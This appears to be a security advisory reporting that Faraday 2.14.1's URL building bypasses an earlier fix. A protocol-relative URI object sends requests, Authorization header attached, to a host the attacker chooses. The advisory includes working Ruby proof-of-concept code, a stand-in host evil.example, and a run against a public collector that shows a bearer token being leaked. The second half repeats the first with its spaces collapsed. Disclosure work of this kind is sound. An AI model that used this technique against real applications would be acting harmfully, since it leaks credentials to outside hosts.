Summary
Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.
Affected Component
- Repository File(s)/Endpoint(s):
lib/faraday/connection.rb
lib/faraday/request.rb
spec/faraday/connection_spec.rb
spec/faraday/request_spec.rb
- Function(s):
Faraday::Connection#build_exclusive_url
Faraday::Connection#run_request
Faraday::Request#url
Faraday::Request#to_env
- Version(s) Tested:
Faraday 2.14.1
- repository HEAD
a01039c948d3e9e41e03d152aed7244f0fb4d5ca
Attacker Profile
- Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
- Access Required: Ability to supply data that the application converts to
URI.parse(...) and passes to conn.get(...), [conn.post](http://conn.post/)(...), or req.url(...)
- Capability: Control over a protocol-relative URI such as
URI("//evil.example/pwn")
Steps to Reproduce
- Use the current repository checkout and load Faraday from
lib/.
- Build a fixed-base connection and provide a protocol-relative
URI object to req.url.
- Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
- Observe that the connection-scoped
Authorization header remains attached to the off-host request.
Verification Evidence
- Environment: macOS, Ruby from local environment, Faraday
2.14.1, faraday-net_http, local WEBrick listener on 127.0.0.1:4567, HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca
- Commands executed:
$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'
require "faraday"
require "faraday/net_http"
conn = Faraday.new(url: "http://trusted.example/base", headers: {
"Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }
target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))
puts resp.status
puts resp.body
- Exit code:
0
- stdout (relevant excerpt):
200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn
- stderr (relevant excerpt):
N/A
Additional External Confirmation
The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:
require "faraday"
require "faraday/net_http"
conn = Faraday.new(
url: "http://trusted.example/base",
headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }
target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"
This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.
Supporting Materials
- Existing advisory for the original string-based issue:
GHSA-33mh-2634-fwr2
- Existing CVE for the original string-based issue:
CVE-2026-25765
- Existing regression tests for the string-only fix:
spec/faraday/connection_spec.rb:314-345
- Existing test proving supported
URI request input:
spec/faraday/request_spec.rb:26-31
Impact
The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the
connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.
References
Summary
Faraday::Connection#build_exclusive_urlstill allows protocol-relative host override when the request target is provided as aURIobject instead of aString. This bypasses the February 2026 fix forGHSA-33mh-2634-fwr2and can redirect a request built from a fixed-baseFaraday::Connectionto an attacker-controlled host while preserving connection-scoped headers such asAuthorization.Affected Component
lib/faraday/connection.rblib/faraday/request.rbspec/faraday/connection_spec.rbspec/faraday/request_spec.rbFaraday::Connection#build_exclusive_urlFaraday::Connection#run_requestFaraday::Request#urlFaraday::Request#to_envFaraday 2.14.1a01039c948d3e9e41e03d152aed7244f0fb4d5caAttacker Profile
URI.parse(...)and passes toconn.get(...),[conn.post](http://conn.post/)(...), orreq.url(...)URI("//evil.example/pwn")Steps to Reproduce
lib/.URIobject toreq.url.Authorizationheader remains attached to the off-host request.Verification Evidence
2.14.1,faraday-net_http, local WEBrick listener on127.0.0.1:4567, HEADa01039c948d3e9e41e03d152aed7244f0fb4d5ca0Additional External Confirmation
The issue was also independently reproduced against a public HTTP collector on Faraday
2.14.1using the defaultnet_httpadapter:This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.
Supporting Materials
GHSA-33mh-2634-fwr2CVE-2026-25765spec/faraday/connection_spec.rb:314-345URIrequest input:spec/faraday/request_spec.rb:26-31Impact
The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the
connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.
References